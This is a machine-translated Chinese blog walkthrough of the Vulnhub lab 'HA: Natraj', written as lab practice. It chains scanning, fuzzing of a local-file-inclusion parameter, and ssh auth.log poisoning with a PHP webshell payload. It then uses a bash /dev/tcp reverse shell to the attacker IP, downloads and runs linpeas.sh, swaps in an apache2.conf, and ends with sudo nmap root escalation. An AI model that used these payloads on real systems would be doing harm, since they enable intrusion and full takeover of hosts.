当前位置:网站首页>vulnhub HA: Natraj
vulnhub HA: Natraj
2022-07-03 04:16:00 【Fairy elephant】
Infiltrate ideas :
nmap scanning ----dirb Scan the website directory ----ffuf Blast url Parameters ---- utilize auth.log and LFI Get a bounce shell---- modify /etc/apache2/apache2.conf get mahakal Of shell----sudo nmap Raise the right
environmental information :
Drone aircraft :192.168.101.78
attack :192.168.101.34
Specific steps :
1、nmap scanning
sudo nmap -sV -sC -p- 192.168.101.78
2、dirb Scan the website directory
dirb http://192.168.101.78Scan to directory http://192.168.101.78/console/

The browser accesses the directory , Documents found file.php

Intuition tells me that there may be a file containing loopholes
3、ffuf Blast url Parameters
ffuf -u 'http://192.168.101.78/console/file.php?FUZZ=../../../../etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0among FUZZ It is the placeholder string of the parameter name that needs brute force cracking
Blast out the parameter name file

Browser access http://192.168.101.78/console/file.php?file=../../../../etc/passwd
You can see the of the target /etc/passwd The contents of the document

4、 Use user authentication logs and LFI Get a bounce shell
Browser access http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log, Found to have access
Try to use natraj Conduct ssh Sign in , And enter the wrong password ( I don't know the correct password anyway )
ssh [email protected]Then use the browser to access http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log, Find out /var/log/auth.log Recorded in ssh Login user name

So it can be ssh When logging in php Code is inserted as user name , such php The code will be written /var/log/auth.log, The Local File Inclusion Vulnerability of the website includes /var/log/auth.log It will trigger writing php Code execution .
ssh Log in to the target , The user is called "<?php system(\$_GET[xiannv]); ?>", Enter the password casually
ssh "<?php system(\$_GET[xiannv]); ?>"@192.168.101.78
Browser access http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log&xiannv=id
You can get id Command execution results , Indicates inserted php Code effective

Next, monitor on the attack plane 8888 port
nc -nlvp 8888It is then accessed in a browser
among xiannv Parameter values for url Before coding is bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'
Get rebound shell

5、 modify /etc/apache2/apache2.conf get mahakal Of shell
Download from the attacker linpeas.sh
First attack the aircraft linpeas.sh From... Under the directory http service , such as
python2 -m SimpleHTTPServer 80Then the target shell Execute the following command , Download and execute linpeas.sh, Check for possible claims
[email protected]:/tmp$ wget http://192.168.101.34/linpeas.sh
[email protected]:/tmp$ chmod +x linpeas.sh
[email protected]:/tmp$ ./linpeas.shlinpeas.sh Discover file permissions 777 The file of /etc/apache2/apache2.conf, The document is apache2 Primary profile for

In this file User Parameter sets the user of the child process that actually provides the service ,Group Parameter sets the user group of the running sub process of the service .
The original values of these two parameters are as follows , You can modify the values of these two parameters in step 4 The rebound obtained when shell Become other users and groups .
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

Here I tried natraj、root、mahakal, Only mahakal Sure .
Change to natraj Although you can get natraj Rebound of shell, but natraj No one can sudo The order of ( Or is it sudo -l Need a password , Forget which of these two reasons -_-|||);
Change to root When , The main page (http://192.168.101.78) Can open the , however http://192.168.101.78/console/file.php Cannot be opened , I don't know why , I guess there may be some security restrictions .
Because the target cannot be executed vim, So I put /etc/apache2/apache2.conf Copy to the attacker and modify User and Group by mahakal, And save
User mahakal
Group mahakal
Enter on the target /tmp Catalog , Download the modified... From the attacker apache2.conf, And copy it to /etc/apache2/apache2.conf
[email protected]:/tmp$ wget http://192.168.101.34/apache2.conf
[email protected]:/tmp$ cp /tmp/apache2.conf /etc/apache2/apache2.conf
Then I wanted to restart apache2 Of , however www-data It seems that the user does not have permission in this regard , Second, restart the system , but www-data Users also do not have permission in this regard , Only in vmware Restart the virtual machine on
Repeat the steps after restarting 4 Get a rebound shell The operation of , obtain mahakal Rebound of shell.
perform sudo -l, Find out mahakal Sure sudo perform nmap command

6、sudo nmap Raise the right
stay GTFOBins It's on the Internet nmap Sure sudo Raise the right
According to the instructions of the website, enter the following commands in sequence
[email protected]:/var/www/html/console$ TF=$(mktemp)
[email protected]:/var/www/html/console$ echo 'os.execute("/bin/bash")' > $TF
[email protected]:/var/www/html/console$ sudo nmap --script=$TFget root User shell

find proof:/root/root.txt

边栏推荐
- js实现在可视区内,文字图片动画效果
- Interface in TS
- 以两列的瀑布流为例,我们应该怎么构建每一列的数组
- [set theory] set identities (idempotent law | exchange law | combination law | distribution rate | De Morgan law | absorption rate | zero law | identity | exclusion law | contradiction law | complemen
- [Apple Push] IMessage group sending condition document (push certificate) development tool pushnotification
- 重绘和回流
- Introduction to eth
- js/ts底层实现双击事件
- Pdf editing tool movavi pdfchef 2022 direct download
- Five elements of user experience
猜你喜欢

Basic MySQL operations

Mila, University of Ottawa | molecular geometry pre training with Se (3) invariant denoising distance matching

nodejs基础:浅聊url和querystring模块

Which Bluetooth headset is cost-effective? Four Bluetooth headsets with high cost performance are recommended

Dismantle a 100000 yuan BYD "Yuan". Come and see what components are in it.

SAP ui5 application development tutorial 105 - detailed introduction to the linkage effect implementation of SAP ui5 master detail layout mode

2022 tea master (primary) examination questions and tea master (primary) examination question bank

Which Bluetooth headset is good about 400? Four Bluetooth headsets with strong noise reduction are recommended

Appium automated testing framework

在写web项目的时候,文件上传用到了smartupload,用了new string()进行转码,但是在数据库中,还是会出现类似扑克的乱码
随机推荐
Bisher - based on SSM pet adoption center
CVPR 2022 | 大連理工提出自校准照明框架,用於現實場景的微光圖像增强
Basic syntax of class
JS realizes lazy loading of pictures
【刷题篇】 找出第 K 小的数对距离
Mongodb slow query optimization analysis strategy
redis 持久化原理
Is it better to speculate in the short term or the medium and long term? Comparative analysis of differences
Which Bluetooth headset is cost-effective? Four Bluetooth headsets with high cost performance are recommended
MongoDB 慢查询语句优化分析策略
What's wrong with SD card data damage? How to recover SD card data damage
Export of zip file
[Chongqing Guangdong education] reference materials for design and a better life of Zhongyuan Institute of science and technology
js/ts底层实现双击事件
2022 polymerization process examination questions and polymerization process examination skills
第十届中国云计算大会·中国站:展望未来十年科技走向
CVPR 2022 | Dalian Technology propose un cadre d'éclairage auto - étalonné pour l'amélioration de l'image de faible luminosité de la scène réelle
Nat. Comm. | use tensor cell2cell to deconvolute cell communication with environmental awareness
Which code editor is easy to use? Code editing software recommendation
[Apple Photo Album push] IMessage group anchor local push